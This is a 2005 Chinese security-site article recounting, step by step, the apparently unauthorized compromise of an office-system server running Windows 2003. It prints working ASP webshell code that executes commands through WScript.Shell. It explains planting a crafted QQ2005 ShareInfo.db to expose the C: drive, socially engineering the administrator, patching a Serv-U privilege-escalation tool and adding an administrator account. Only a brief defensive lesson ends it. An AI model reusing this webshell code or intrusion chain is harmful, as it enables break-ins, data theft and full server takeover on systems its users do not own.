通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
推荐:用QQ文件共享漏洞彻底攻破Windows2003的坚固堡垒
责任编辑:古典辣M°   更新日期:2005-12-21
 

服务器上运行的第三方软件历来就被攻击者们看作是入侵目标系统的捷径。现在,著名的腾讯QQ又被列入了这些捷径名单,好在QQ并不是服务器必备的软件之一,所以相信不会造成大范围的危机。文中遇到特殊情况虽然不多,但大家还是应该遵照“可能的就应该防范”的原则做出相应防御。
一、在Windows2003中得到的webshell
此次渗透的目标是一台OA办公系统服务器。其操作系统新近升级到了Windows2003,但OA仍存在asp文件上传漏洞,所以webshell的取得并没有任何悬念。
阻碍是在权限提升时遇到的---
登陆webshell后发现只能查看服务器的D盘,对C盘不能进行任何访问,webshell的提示是“没有权限”。这点早在意料之中,因为wenshell只有guests组权限,再加上win2003默认禁止了“Everyone"匿名用户及“Guest"组权限用户访问cmd.exe,还造成了不能通过webshell运行cmd.exe。
唯一值得庆幸的是利用Webshell 可以对D盘(存放有web虚拟目录)各个子目录进行读写。这里除了web虚拟目录还有一些数据备份文件和一个腾讯QQ安装目录Tencent。
二、破解Serv-u的终极防范
Windows2003的种种默认安全配置展示了它强大的一面,近一步提升现有权限似乎已不太可能,直到我试图从系统入手向这台服务器发出FTP链接请求并看到Serv-u的banner时才觉得又有了一线希望。
前面提到由于Windows2003对cmd.exe的权限限制,通过webshell方式不能运行cmd.exe,这样的论断在2004年6期的防线的《构建Windows2003堡垒主机》一文也曾提到,但实践表明这并不正确,通过webshell上传本地非2003系统中未受限制的cmd.exe文件到可执行目录,再通过wscript组件,同样能够通过webshell方式在Windows2003下获得相应权限的cmd.exe。结合nc.exe,甚至还能得到一个guest组权限的命令行下的shell。
为此,我对老兵的站长助手6.0做了一些改进,增加了如下代码,使其能够利用Wscript.shell组件运行本地上传的cmd.exe。
Function CmdShell()
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")="yes" then
checked=" checked"
else
checked=""
end if
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method='post'><input name='cmd' Style='width:92%' class='cmd' value='"&DefCmd&"'><input type='submit' value='运行'>"
SI=SI&"<textarea Style='width:100%;height:500;' class='cmd'>"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=ws scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObject("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea>"
SI=SI&"SHELL路径:<input name='SP' value='"&ShellPath&"' Style='width:70%'>  "
SI=SI&"<input type='checkbox' name='wscript' value='yes'"&checked&">WScript.Shell</form>"
Response.Write SI
End Function

利用时只需在shell路径中指定上传的cmd.exe路径,再选中选项Wscript就能运行一些所需权限较低的系统命令,如“net start”或者“netstat -an”,依次运行这两个命令后Webshell回显了众多服务,包括Serv-U FTP Server, 活动端口列表中又出现了43958端口,于是我自然想到了神通广大的Serv-u ftp Server本地权限提升漏洞。可真正用到的ftp本地权限提升工具在执行系统命令时,却出现了530错误提示(如图1)。看来管理员或者其他人对Serv-u打上了布丁或者做了某些安全配置。为了知道究竟是怎样的安全配置,上网查了查相关文章,其中有一篇《Serv-u ftp Server 本地权限提升漏洞的终极防范》很受欢迎,被多方转载,作者是世外高人xiaolu。从错误提示看很有可能做了该文所谓的终极防范,即对ServUDaemon.exe中默认的管理员或密码进行了修改。当然这只是假设,只有将目标服务器上的ServUDaemon.exe下载下来看看具体配置才能确定,但是安装有Serv-u的C盘禁止访问,包括Programe files 目录,权限提升再次受阻。

三、利用QQ2005共享文件漏洞将权限提升到底
再次翻了翻D盘,又见到了那个很少能在服务器中看到的Tencent文件夹。查看whatsnew.txt。
得知QQ的版本是QQ2005 Beta1,几个于相关文件的创建时间也说明网管最近在服务器上登陆过QQ。难道只能用QQ?经过一番思索,终于想到一个可以利用的QQ2005在文件共享功能上的一则漏洞
漏洞是随着QQ2005贺岁版新增功能出现的。可以将其危害描述为:利用该漏洞,攻击者可以浏览,读取用户系统中的任意文件(如sam文件、数据备份文件、敏感信息文件)。影响系统:安装有QQ2005贺岁版以上的所有Windows系列操作系统。
具体利用方法是:先在本机登陆自己的QQ,调出“QQ菜单”,选择工具->设置共享,指定C:\或者其他任何有利用价值的分区为共享文件,完成后关闭QQ,找到安装目录下的以QQ帐号命名的文件夹内“ShareInfo.db”文件。如图3所示。,上传覆盖目标服务器上相同文件(如:D:\Tencent\QQ\654321\ShareInfo.db)。这样,当网管在服务器上登陆QQ时就会向好友开放C盘为共享目录。。
因为陌生人是不能共享对方文件,所以还需要用社会工程学申请将管理员加为好友(理由当然越可信越好)。如果管理员通过请求,服务器的C盘会以QQ共享文件目录的名义被共享,原本不能通过WEBSHELL访问的ServUDaemon.exe文件就能被下载,遇到阻碍的权限提升之路又能继续了。
当晚管理员就通过了申请,将我添加为好友。珊瑚虫QQ上显示的IP正是目标服务器的IP,于是下载了ServUDaemon.exe文件,用UE打开后查找127.0.0.1,发现默认配置下的内置帐户“LocalAdministrator”果然被改成了“LocalAdministruser”。这看起来是一个很“终极”的防御,但提出该方法的xiaolu似乎没有进行攻防所须的换位思考就将其公布,要知道攻击者只需知道修改后的配置,并对本地权限提升利用工具进行相应的修改,所谓的终极防御也就被攻破了。方法还是用UE打开脱了壳的serv-u本地权限提升利用工具,将LocalAdministrator改为LocalAdministruser即可。
然后上传修改后的ftp2.exe,在wscript.shell中执行D:\web\ftp2.exe “net user user password /add”后看看结果,已经成功添加了一个用户。再把该用户加入administrators组和“Remote desktop users”组后登陆了目标服务器的远程桌面。
―――经过重重险阻,终于彻底攻陷了这台坚固的Windows2003堡垒。

四、简单启示

可以看出,和“服务越少越安全”一样,服务器上运行的“第三方”越少越安全,流行的PcAnywhere、VNC、Serv-U 权限提升和这里提出的利用QQ2005提升权限,都是可以这样避免

 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题